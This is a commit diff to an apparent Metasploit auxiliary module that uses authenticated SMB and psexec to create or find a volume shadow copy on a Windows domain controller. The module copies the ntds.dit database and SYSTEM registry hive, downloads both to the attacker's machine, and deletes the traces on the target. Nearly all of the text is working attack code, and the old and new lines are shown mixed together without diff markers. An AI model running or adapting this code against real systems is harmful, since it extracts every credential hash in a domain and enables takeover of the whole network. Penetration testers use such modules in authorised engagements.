working with psexec mixin
Royce Davis
parent
ff9ef80cc6
commit
ed3b886b61
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@ -6,7 +6,7 @@ class Metasploit3 < Msf::Auxiliary
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Remote::PSEXEC
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include Msf::Exploit::Remote::Psexec
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include Msf::Exploit::Remote::SMB::Authenticated
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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@ -43,27 +43,28 @@ class Metasploit3 < Msf::Auxiliary
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OptString.new('LOGDIR', [true, 'This is a directory on your local attacking system used to store the ntds.dit and SYSTEM hive', '/tmp/NTDS_Grab']),
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OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
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OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
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OptString.new('SYSDRIVE', [true, 'The root drive letter of the remote host', 'C:']),
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], self.class)
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deregister_options('RHOST')
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end
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def peer
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return "#{rhost}:#{rport}"
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end
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end
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# This is the main control method
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def run_host(ip)
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# Initialize some variables
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text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
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bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
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bat = "#{datastore['SYSDRIVE']}\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
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createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"
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logdir = datastore['LOGDIR']
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smbshare = datastore['SMBSHARE']
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remove_files = [bat, "#{datastore['SYSDRIVE']}#{text}", "#{datastore['SYSDRIVE']}#{datastore['WINPATH']}\\Temp\\ntds", "#{datastore['SYSDRIVE']}#{datastore['WINPATH']}\\Temp\\sys"]
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# Try and connect
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if connect
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#Try and authenticate with given credentials
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begin
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@ -72,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary
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print_error("Unable to authenticate with given credentials: #{autherror}")
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return
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end
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# If a VSC was specified then don't try and create one
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if datastore['VSCPATH'].length > 0
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print_status("#{peer} - Attempting to grab NTDS.dit from #{datastore['VSCPATH']}")
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print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
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vscpath = datastore['VSCPATH']
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else
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vscpath = check_vss(ip, text, bat)
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@ -83,38 +84,30 @@ class Metasploit3 < Msf::Auxiliary
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end
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end
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if vscpath
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n = copy_ntds(ip, vscpath)
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s = copy_sys_hive(ip)
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if n && s
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if !(n = copy_ntds(ip, vscpath, text)) == false && !(s = copy_sys_hive(ip)) == false
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download_ntds(smbshare, (datastore['WINPATH'] + "\\Temp\\ntds"), ip, logdir)
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download_sys_hive(smbshare, (datastore['WINPATH'] + "\\Temp\\sys"), ip, logdir)
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else
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print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.")
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end
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else
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print_error("#{peer} - Failed to find a volume shadow copy")
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end
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cleanup_after(ip)
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remove_files.each { |file| register_file_for_cleanup(file) }
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cleanup_after
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disconnect
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end
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end
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# Thids method will check if a Volume Shadow Copy already exists and use that rather
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# then creating a new one
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def check_vss(ip, text, bat)
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begin
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print_status("#{ip} - Checking if a Volume Shadow Copy exists already.")
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# Check is VSC already exists
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prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
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command = "%COMSPEC% /C echo vssadmin list shadows ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
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command = "%COMSPEC% /C echo vssadmin list shadows ^> #{datastore['SYSDRIVE']}#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
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result = psexec(command)
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simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
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outfile = simple.open(text, 'ro')
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data = outfile.read
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data = get_output(datastore['SMBSHARE'], ip, text)
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vscs = []
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simple.disconnect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
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cleanup = "%COMSPEC% /C del /F /Q %SYSTEMDRIVE%#{text} & del /F /Q #{bat}"
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result = psexec(cleanup)
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data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
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if vscs.empty?
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print_status("#{ip} - No VSC Found.")
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@ -130,12 +123,11 @@ class Metasploit3 < Msf::Auxiliary
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end
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# Create a Volume Shadow Copy on the target host
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def make_volume_shadow_copy(ip, createvsc, text, bat)
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begin
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#Try to create the shadow copy
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command = "%COMSPEC% /C echo #{createvsc} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
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command = "%COMSPEC% /C echo #{createvsc} ^> #{datastore['SYSDRIVE']}#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
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print_status("Creating Volume Shadow Copy")
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out = psexec(command)
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#Get path to Volume Shadow Copy
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@ -161,38 +153,49 @@ class Metasploit3 < Msf::Auxiliary
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end
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# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
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def copy_ntds(ip, vscpath)
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print_status("Copying ntds.dit to Windows Temp directory")
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def copy_ntds(ip, vscpath, text)
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begin
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# Try to copy ntds.dit from VSC
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ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"
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command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
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return psexec(command)
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run = psexec(command)
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if !check_ntds(text)
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return false
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end
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return true
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rescue StandardError => ntdscopyerror
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print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
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return ntdscopyerror
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return false
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end
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end
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# Checks if ntds.dit was copied to the Windows Temp directory
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def check_ntds(text)
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print_status("#{peer} - Checking if NTDS.dit was copied.")
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check = "%COMSPEC% /C dir #{datastore['SYSDRIVE']}\\#{datastore['WINPATH']}\\Temp\\ntds > #{datastore['SYSDRIVE']}#{text}"
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run = psexec(check)
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output = get_output(datastore['SMBSHARE'], datastore['RHOST'], text)
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if output.include?("ntds")
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return true
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end
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return false
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end
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# Temp directory on the target host
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# Copies the SYSTEM hive file to the Temp directory on the target host
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def copy_sys_hive(ip)
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print_status("Copying SYSTEM hive file to Windows Temp directory")
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begin
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# Try to crate the sys hive copy
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command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
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return psexec(command)
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rescue StandardError => hiveerror
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print_error("Unable to copy the SYSTEM hive file: #{hiveerror}")
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return hiveerror
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return false
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end
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end
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# Download the ntds.dit copy to your attacking machine
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def download_ntds(smbshare, file, ip, logdir)
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print_status("Downloading ntds.dit file")
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@ -216,7 +219,6 @@ class Metasploit3 < Msf::Auxiliary
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end
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# Download the SYSTEM hive copy to your attacking machine
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def download_sys_hive(smbshare, file, ip, logdir)
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print_status("Downloading SYSTEM hive file")
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@ -239,35 +241,15 @@ class Metasploit3 < Msf::Auxiliary
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end
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# Delete the ntds.dit and SYSTEM hive copies from the Windows Temp directory
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def cleanup_after(ip)
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print_status("Deleting ntds.dit and SYSTEM hive copies:")
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begin
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# Try to delete the ntds.dit and SYSTEM hive copies
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command = "%COMSPEC% /C del /F /Q %WINDIR%\\Temp\\ntds & del /F /Q %WINDIR%\\Temp\\sys"
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result = psexec(command)
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rescue StandardError => deleteerror
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print_error("Unable to delete ntds.dit and SYSTEM hive copies: #{deleteerror}")
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return deleteerror
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end
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end
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# Gets the path to the Volume Shadow Copy
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def get_vscpath(ip, file)
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begin
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prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
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vsc = ""
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simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
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outfile = simple.open(file, 'ro')
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output = outfile.read
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output = get_output(datastore['SMBSHARE'], ip, file)
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output.each_line do |line|
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vsc += line if line.include?("GLOBALROOT")
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end
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outfile.close
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simple.disconnect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
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return prepath + vsc.split("ShadowCopy")[1].chomp
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rescue StandardError => vscpath_error
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print_error("Could not determine the exact path to the VSC check your WINPATH")
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@ -275,4 +257,5 @@ class Metasploit3 < Msf::Auxiliary
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end
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end
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end
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